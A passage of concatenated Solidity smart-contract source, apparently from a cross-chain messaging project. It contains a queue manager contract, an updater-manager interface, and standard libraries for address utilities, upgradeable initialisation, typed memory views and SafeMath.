============ import {QueueLib} from "../libs/Queue.sol"; // ============ External Imports ============ import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @title QueueManager * @author Celo Labs Inc. * @notice Contains a queue instance and * exposes view functions for the queue. **/ contract QueueManager is Initializable { // ============ Libraries ============ using QueueLib for QueueLib.Queue; QueueLib.Queue internal queue; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[49] private __GAP; // ============ Initializer ============ function __QueueManager_initialize() internal initializer { queue.initialize(); } // ============ Public Functions ============ /** * @notice Returns number of elements in queue */ function queueLength() external view returns (uint256) { return queue.length(); } /** * @notice Returns TRUE iff `_item` is in the queue */ function queueContains(bytes32 _item) external view returns (bool) { return queue.contains(_item); } /** * @notice Returns last item enqueued to the queue */ function queueEnd() external view returns (bytes32) { return queue.lastItem(); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; interface IUpdaterManager { function slashUpdater(address payable _reporter) external; function updater() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.5.10; import {SafeMath} from "./SafeMath.sol"; library TypedMemView { using SafeMath for uint256; // Why does this exist? // the solidity `bytes memory` type has a few weaknesses. // 1. You can't index ranges effectively // 2. You can't slice without copying // 3. The underlying data may represent any type // 4. Solidity never deallocates memory, and memory costs grow // superlinearly // By using a memory view instead of a `bytes memory` we get the following // advantages: // 1. Slices are done on the stack, by manipulating the pointer // 2. We can index arbitrary ranges and quickly convert them to stack types // 3. We can insert type info into the pointer, and typecheck at runtime // This makes `TypedMemView` a useful tool for efficient zero-copy // algorithms. // Why bytes29? // We want to avoid confusion between views, digests, and other common // types so we chose a large and uncommonly used odd number of bytes // // Note that while bytes are left-aligned in a word, integers and addresses // are right-aligned. This means when working in assembly we have to // account for the 3 unused bytes on the righthand side // // First 5 bytes are a type flag. // - ff_ffff_fffe is reserved for unknown type. // - ff_ffff_ffff is reserved for invalid types/errors. // next 12 are memory address // next 12 are len // bottom 3 bytes are empty // Assumptions: // - non-modification of memory. // - No Solidity updates // - - wrt free mem point // - - wrt bytes representation in memory // - - wrt memory addressing in general // Usage: // - create type constants // - use `assertType` for runtime type assertions // - - unfortunately we can't do this at compile time yet :( // - recommended: implement modifiers that perform type checking // - - e.g. // - - `uint40 constant MY_TYPE = 3;` // - - ` modifer onlyMyType(bytes29 myView) { myView.assertType(MY_TYPE); }` // - instantiate a typed view from a bytearray using `ref` // - use `index` to inspect the contents of the view // - use `slice` to create smaller views into the same memory // - - `slice` can increase the offset // - - `slice can decrease the length` // - - must specify the output type of `slice` // - - `slice` will return a null view if you try to overrun // - - make sure to explicitly check for this with `notNull` or `assertType` // - use `equal` for typed comparisons. // The null view bytes29 public constant NULL = hex"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"; uint256 constant LOW_12_MASK = 0xffffffffffffffffffffffff; uint8 constant TWELVE_BYTES = 96; /** * @notice Returns the encoded hex character that represents the lower 4 bits of the argument. * @param _b The byte * @return char - The encoded hex character */ function nibbleHex(uint8 _b) internal pure returns (uint8 char) { // This can probably be done more efficiently, but it's only in error // paths, so we don't really care :) uint8 _nibble = _b | 0xf0; // set top 4, keep bottom 4 if (_nibble == 0xf0) {return 0x30;} // 0 if (_nibble == 0xf1) {return 0x31;} // 1 if (_nibble == 0xf2) {return 0x32;} // 2 if (_nibble == 0xf3) {return 0x33;} // 3 if (_nibble == 0xf4) {return 0x34;} // 4 if (_nibble == 0xf5) {return 0x35;} // 5 if (_nibble == 0xf6) {return 0x36;} // 6 if (_nibble == 0xf7) {return 0x37;} // 7 if (_nibble == 0xf8) {return 0x38;} // 8 if (_nibble == 0xf9) {return 0x39;} // 9 if (_nibble == 0xfa) {return 0x61;} // a if (_nibble == 0xfb) {return 0x62;} // b if (_nibble == 0xfc) {return 0x63;} // c if (_nibble == 0xfd) {return 0x64;} // d if (_nibble == 0xfe) {return 0x65;} // e if (_nibble == 0xff) {return 0x66;} // f } /** * @notice Returns a uint16 containing the hex-encoded byte. * @param _b The byte * @return encoded - The hex-encoded byte */ function byteHex(uint8 _b) internal pure returns (uint16 encoded) { encoded |= nibbleHex(_b >> 4); // top 4 bits encoded <<= 8; encoded |= nibbleHex(_b); // lower 4 bits } /** * @notice Encodes the uint256 to hex. `first` contains the encoded top 16 bytes. * `second` contains the encoded lower 16 bytes. * * @param _b The 32 bytes as uint256 * @return first - The top 16 bytes * @return second - The bottom 16 bytes */ function encodeHex(uint256 _b) internal pure returns (uint256 first, uint256 second) { for (uint8 i = 31; i > 15; i -= 1) { uint8 _byte = uint8(_b >> (i * 8)); first |= byteHex(_byte); if (i != 16) { first <<= 16; } } // abusing underflow here =_= for (uint8 i = 15; i < 255 ; i -= 1) { uint8 _byte = uint8(_b >> (i * 8)); second |= byteHex(_byte); if (i != 0) { second <<= 16; } } } /** * @notice Changes the endianness of a uint256. * @dev https://graphics.stanford.edu/~seander/bithacks.html#ReverseParallel * @param _b The unsigned integer to reverse * @return v - The reversed value */ function reverseUint256(uint256 _b) internal pure returns (uint256 v) { v = _b; // swap bytes v = ((v >> 8) & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) | ((v & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) << 8); // swap 2-byte long pairs v = ((v >> 16) & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) | ((v & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) << 16); // swap 4-byte long pairs v = ((v >> 32) & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) | ((v & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) << 32); // swap 8-byte long pairs v = ((v >> 64) & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) | ((v & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) << 64); // swap 16-byte long pairs v = (v >> 128) | (v << 128); } /** * @notice Create a mask with the highest `_len` bits set. * @param _len The length * @return mask - The mask */ function leftMask(uint8 _len) private pure returns (uint256 mask) { // ugly. redo without assembly? assembly { // solium-disable-previous-line security/no-inline-assembly mask := sar( sub(_len, 1), 0x8000000000000000000000000000000000000000000000000000000000000000 ) } } /** * @notice Return the null view. * @return bytes29 - The null view */ function nullView() internal pure returns (bytes29) { return NULL; } /** * @notice Check if the view is null. * @return bool - True if the view is null */ function isNull(bytes29 memView) internal pure returns (bool) { return memView == NULL; } /** * @notice Check if the view is not null. * @return bool - True if the view is not null */ function notNull(bytes29 memView) internal pure returns (bool) { return !isNull(memView); } /** * @notice Check if the view is of a valid type and points to a valid location * in memory. * @dev We perform this check by examining solidity's unallocated memory * pointer and ensuring that the view's upper bound is less than that. * @param memView The view * @return ret - True if the view is valid */ function isValid(bytes29 memView) internal pure returns (bool ret) { if (typeOf(memView) == 0xffffffffff) {return false;} uint256 _end = end(memView); assembly { // solium-disable-previous-line security/no-inline-assembly ret := not(gt(_end, mload(0x40))) } } /** * @notice Require that a typed memory view be valid. * @dev Returns the view for easy chaining. * @param memView The view * @return bytes29 - The validated view */ function assertValid(bytes29 memView) internal pure returns (bytes29) { require(isValid(memView), "Validity assertion failed"); return memView; } /** * @notice Return true if the memview is of the expected type. Otherwise false. * @param memView The view * @param _expected The expected type * @return bool - True if the memview is of the expected type */ function isType(bytes29 memView, uint40 _expected) internal pure returns (bool) { return typeOf(memView) == _expected; } /** * @notice Require that a typed memory view has a specific type. * @dev Returns the view for easy chaining. * @param memView The view * @param _expected The expected type * @return bytes29 - The view with validated type */ function assertType(bytes29 memView, uint40 _expected) internal pure returns (bytes29) { if (!isType(memView, _expected)) { (, uint256 g) = encodeHex(uint256(typeOf(memView))); (, uint256 e) = encodeHex(uint256(_expected)); string memory err = string( abi.encodePacked( "Type assertion failed. Got 0x", uint80(g), ". Expected 0x", uint80(e) ) ); revert(err); } return memView; } /** * @notice Return an identical view with a different type. * @param memView The view * @param _newType The new type * @return newView - The new view with the specified type */ function castTo(bytes29 memView, uint40 _newType) internal pure returns (bytes29 newView) { // then | in the new type assembly { // solium-disable-previous-line security/no-inline-assembly // shift off the top 5 bytes newView := or(newView, shr(40, shl(40, memView))) newView := or(newView, shl(216, _newType)) } } /** * @notice Unsafe raw pointer construction. This should generally not be called * directly. Prefer `ref` wherever possible. * @dev Unsafe raw pointer construction. This should generally not be called * directly. Prefer `ref` wherever possible. * @param _type The type * @param _loc The memory address * @param _len The length * @return newView - The new view with the specified type, location and length */ function unsafeBuildUnchecked(uint256 _type, uint256 _loc, uint256 _len) private pure returns (bytes29 newView) { assembly { // solium-disable-previous-line security/no-inline-assembly newView := shl(96, or(newView, _type)) // insert type newView := shl(96, or(newView, _loc)) // insert loc newView := shl(24, or(newView, _len)) // empty bottom 3 bytes } } /** * @notice Instantiate a new memory view. This should generally not be called * directly. Prefer `ref` wherever possible. * @dev Instantiate a new memory view. This should generally not be called * directly. Prefer `ref` wherever possible. * @param _type The type * @param _loc The memory address * @param _len The length * @return newView - The new view with the specified type, location and length */ function build(uint256 _type, uint256 _loc, uint256 _len) internal pure returns (bytes29 newView) { uint256 _end = _loc.add(_len); assembly { // solium-disable-previous-line security/no-inline-assembly if gt(_end, mload(0x40)) { _end := 0 } } if (_end == 0) { return NULL; } newView = unsafeBuildUnchecked(_type, _loc, _len); } /** * @notice Instantiate a memory view from a byte array. * @dev Note that due to Solidity memory representation, it is not possible to * implement a deref, as the `bytes` type stores its len in memory. * @param arr The byte array * @param newType The type * @return bytes29 - The memory view */ function ref(bytes memory arr, uint40 newType) internal pure returns (bytes29) { uint256 _len = arr.length; uint256 _loc; assembly { // solium-disable-previous-line security/no-inline-assembly _loc := add(arr, 0x20) // our view is of the data, not the struct } return build(newType, _loc, _len); } /** * @notice Return the associated type information. * @param memView The memory view * @return _type - The type associated with the view */ function typeOf(bytes29 memView) internal pure returns (uint40 _type) { assembly { // solium-disable-previous-line security/no-inline-assembly // 216 == 256 - 40 _type := shr(216, memView) // shift out lower 24 bytes } } /** * @notice Optimized type comparison. Checks that the 5-byte type flag is equal. * @param left The first view * @param right The second view * @return bool - True if the 5-byte type flag is equal */ function sameType(bytes29 left, bytes29 right) internal pure returns (bool) { return (left ^ right) >> (2 * TWELVE_BYTES) == 0; } /** * @notice Return the memory address of the underlying bytes. * @param memView The view * @return _loc - The memory address */ function loc(bytes29 memView) internal pure returns (uint96 _loc) { uint256 _mask = LOW_12_MASK; // assembly can't use globals assembly { // solium-disable-previous-line security/no-inline-assembly // 120 bits = 12 bytes (the encoded loc) + 3 bytes (empty low space) _loc := and(shr(120, memView), _mask) } } /** * @notice The number of memory words this memory view occupies, rounded up. * @param memView The view * @return uint256 - The number of memory words */ function words(bytes29 memView) internal pure returns (uint256) { return uint256(len(memView)).add(32) / 32; } /** * @notice The in-memory footprint of a fresh copy of the view. * @param memView The view * @return uint256 - The in-memory footprint of a fresh copy of the view. */ function footprint(bytes29 memView) internal pure returns (uint256) { return words(memView) * 32; } /** * @notice The number of bytes of the view. * @param memView The view * @return _len - The length of the view */ function len(bytes29 memView) internal pure returns (uint96 _len) { uint256 _mask = LOW_12_MASK; // assembly can't use globals assembly { // solium-disable-previous-line security/no-inline-assembly _len := and(shr(24, memView), _mask) } } /** * @notice Returns the endpoint of `memView`. * @param memView The view * @return uint256 - The endpoint of `memView` */ function end(bytes29 memView) internal pure returns (uint256) { return loc(memView) + len(memView); } /** * @notice Safe slicing without memory modification. * @param memView The view * @param _index The start index * @param _len The length * @param newType The new type * @return bytes29 - The new view */ function slice(bytes29 memView, uint256 _index, uint256 _len, uint40 newType) internal pure returns (bytes29) { uint256 _loc = loc(memView); // Ensure it doesn't overrun the view if (_loc.add(_index).add(_len) > end(memView)) { return NULL; } _loc = _loc.add(_index); return build(newType, _loc, _len); } /** * @notice Shortcut to `slice`. Gets a view representing the first `_len` bytes. * @param memView The view * @param _len The length * @param newType The new type * @return bytes29 - The new view */ function prefix(bytes29 memView, uint256 _len, uint40 newType) internal pure returns (bytes29) { return slice(memView, 0, _len, newType); } /** * @notice Shortcut to `slice`. Gets a view representing the last `_len` byte. * @param memView The view * @param _len The length * @param newType The new type * @return bytes29 - The new view */ function postfix(bytes29 memView, uint256 _len, uint40 newType) internal pure returns (bytes29) { return slice(memView, uint256(len(memView)).sub(_len), _len, newType); } /** * @notice Construct an error message for an indexing overrun. * @param _loc The memory address * @param _len The length * @param _index The index * @param _slice The slice where the overrun occurred * @return err - The err */ function indexErrOverrun( uint256 _loc, uint256 _len, uint256 _index, uint256 _slice ) internal pure returns (string memory err) { (, uint256 a) = encodeHex(_loc); (, uint256 b) = encodeHex(_len); (, uint256 c) = encodeHex(_index); (, uint256 d) = encodeHex(_slice); err = string( abi.encodePacked( "TypedMemView/index - Overran the view. Slice is at 0x", uint48(a), " with length 0x", uint48(b), ". Attempted to index at offset 0x", uint48(c), " with length 0x", uint48(d), "." ) ); } /** * @notice Load up to 32 bytes from the view onto the stack. * @dev Returns a bytes32 with only the `_bytes` highest bytes set. * This can be immediately cast to a smaller fixed-length byte array. * To automatically cast to an integer, use `indexUint`. * @param memView The view * @param _index The index * @param _bytes The bytes * @return result - The 32 byte result */ function index(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (bytes32 result) { if (_bytes == 0) {return bytes32(0);} if (_index.add(_bytes) > len(memView)) { revert(indexErrOverrun(loc(memView), len(memView), _index, uint256(_bytes))); } require(_bytes <= 32, "TypedMemView/index - Attempted to index more than 32 bytes"); uint8 bitLength = _bytes * 8; uint256 _loc = loc(memView); uint256 _mask = leftMask(bitLength); assembly { // solium-disable-previous-line security/no-inline-assembly result := and(mload(add(_loc, _index)), _mask) } } /** * @notice Parse an unsigned integer from the view at `_index`. * @dev Requires that the view have >= `_bytes` bytes following that index. * @param memView The view * @param _index The index * @param _bytes The bytes * @return result - The unsigned integer */ function indexUint(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (uint256 result) { return uint256(index(memView, _index, _bytes)) >> ((32 - _bytes) * 8); } /** * @notice Parse an unsigned integer from LE bytes. * @param memView The view * @param _index The index * @param _bytes The bytes * @return result - The unsigned integer */ function indexLEUint(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (uint256 result) { return reverseUint256(uint256(index(memView, _index, _bytes))); } /** * @notice Parse an address from the view at `_index`. Requires that the view have >= 20 bytes * following that index. * @param memView The view * @param _index The index * @return address - The address */ function indexAddress(bytes29 memView, uint256 _index) internal pure returns (address) { return address(uint160(indexUint(memView, _index, 20))); } /** * @notice Return the keccak256 hash of the underlying memory * @param memView The view * @return digest - The keccak256 hash of the underlying memory */ function keccak(bytes29 memView) internal pure returns (bytes32 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly digest := keccak256(_loc, _len) } } /** * @notice Return the sha2 digest of the underlying memory. * @dev We explicitly deallocate memory afterwards. * @param memView The view * @return digest - The sha2 hash of the underlying memory */ function sha2(bytes29 memView) internal view returns (bytes32 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 #1 digest := mload(ptr) } } /** * @notice Implements bitcoin's hash160 (rmd160(sha2())) * @param memView The pre-image * @return digest - the Digest */ function hash160(bytes29 memView) internal view returns (bytes20 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 pop(staticcall(gas(), 3, ptr, 0x20, ptr, 0x20)) // rmd160 digest := mload(add(ptr, 0xc)) // return value is 0-prefixed. } } /** * @notice Implements bitcoin's hash256 (double sha2) * @param memView A view of the preimage * @return digest - the Digest */ function hash256(bytes29 memView) internal view returns (bytes32 digest) { uint256 _loc = loc(memView); uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 #1 pop(staticcall(gas(), 2, ptr, 0x20, ptr, 0x20)) // sha2 #2 digest := mload(ptr) } } /** * @notice Return true if the underlying memory is equal. Else false. * @param left The first view * @param right The second view * @return bool - True if the underlying memory is equal */ function untypedEqual(bytes29 left, bytes29 right) internal pure returns (bool) { return (loc(left) == loc(right) && len(left) == len(right)) || keccak(left) == keccak(right); } /** * @notice Return false if the underlying memory is equal. Else true. * @param left The first view * @param right The second view * @return bool - False if the underlying memory is equal */ function untypedNotEqual(bytes29 left, bytes29 right) internal pure returns (bool) { return !untypedEqual(left, right); } /** * @notice Compares type equality. * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. * @param left The first view * @param right The second view * @return bool - True if the types are the same */ function equal(bytes29 left, bytes29 right) internal pure returns (bool) { return left == right || (typeOf(left) == typeOf(right) && keccak(left) == keccak(right)); } /** * @notice Compares type inequality. * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. * @param left The first view * @param right The second view * @return bool - True if the types are not the same */ function notEqual(bytes29 left, bytes29 right) internal pure returns (bool) { return !equal(left, right); } /** * @notice Copy the view to a location, return an unsafe memory reference * @dev Super Dangerous direct memory access. * * This reference can be overwritten if anything else modifies memory (!!!). * As such it MUST be consumed IMMEDIATELY. * This function is private to prevent unsafe usage by callers. * @param memView The view * @param _newLoc The new location * @return written - the unsafe memory reference */ function unsafeCopyTo(bytes29 memView, uint256 _newLoc) private view returns (bytes29 written) { require(notNull(memView), "TypedMemView/copyTo - Null pointer deref"); require(isValid(memView), "TypedMemView/copyTo - Invalid pointer deref"); uint256 _len = len(memView); uint256 _oldLoc = loc(memView); uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // revert if we're writing in occupied memory if gt(ptr, _newLoc) { revert(0x60, 0x20) // empty revert message } // use the identity precompile to copy // guaranteed not to fail, so pop the success pop(staticcall(gas(), 4, _oldLoc, _len, _newLoc, _len)) } written = unsafeBuildUnchecked(typeOf(memView), _newLoc, _len); } /** * @notice Copies the referenced memory to a new loc in memory, returning a `bytes` pointing to * the new memory * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. * @param memView The view * @return ret - The view pointing to the new memory */ function clone(bytes29 memView) internal view returns (bytes memory ret) { uint256 ptr; uint256 _len = len(memView); assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer ret := ptr } unsafeCopyTo(memView, ptr + 0x20); assembly { // solium-disable-previous-line security/no-inline-assembly mstore(0x40, add(add(ptr, _len), 0x20)) // write new unused pointer mstore(ptr, _len) // write len of new array (in bytes) } } /** * @notice Join the views in memory, return an unsafe reference to the memory. * @dev Super Dangerous direct memory access. * * This reference can be overwritten if anything else modifies memory (!!!). * As such it MUST be consumed IMMEDIATELY. * This function is private to prevent unsafe usage by callers. * @param memViews The views * @return unsafeView - The conjoined view pointing to the new memory */ function unsafeJoin(bytes29[] memory memViews, uint256 _location) private view returns (bytes29 unsafeView) { assembly { // solium-disable-previous-line security/no-inline-assembly let ptr := mload(0x40) // revert if we're writing in occupied memory if gt(ptr, _location) { revert(0x60, 0x20) // empty revert message } } uint256 _offset = 0; for (uint256 i = 0; i < memViews.length; i ++) { bytes29 memView = memViews[i]; unsafeCopyTo(memView, _location + _offset); _offset += len(memView); } unsafeView = unsafeBuildUnchecked(0, _location, _offset); } /** * @notice Produce the keccak256 digest of the concatenated contents of multiple views. * @param memViews The views * @return bytes32 - The keccak256 digest */ function joinKeccak(bytes29[] memory memViews) internal view returns (bytes32) { uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer } return keccak(unsafeJoin(memViews, ptr)); } /** * @notice Produce the sha256 digest of the concatenated contents of multiple views. * @param memViews The views * @return bytes32 - The sha256 digest */ function joinSha2(bytes29[] memory memViews) internal view returns (bytes32) { uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer } return sha2(unsafeJoin(memViews, ptr)); } /** * @notice copies all views, joins them into a new bytearray. * @param memViews The views * @return ret - The new byte array */ function join(bytes29[] memory memViews) internal view returns (bytes memory ret) { uint256 ptr; assembly { // solium-disable-previous-line security/no-inline-assembly ptr := mload(0x40) // load unused memory pointer } bytes29 _newView = unsafeJoin(memViews, ptr + 0x20); uint256 _written = len(_newView); uint256 _footprint = footprint(_newView); assembly { // solium-disable-previous-line security/no-inline-assembly // store the legnth mstore(ptr, _written) // new pointer is old + 0x20 + the footprint of the body mstore(0x40, add(add(ptr, _footprint), 0x20)) ret := ptr } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.10; /* The MIT License (MIT) Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; require(c / _a == _b, "Overflow during multiplication."); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, "Underflow during subtraction."); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; require(c >= _a, "Overflow during addition."); return c; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // 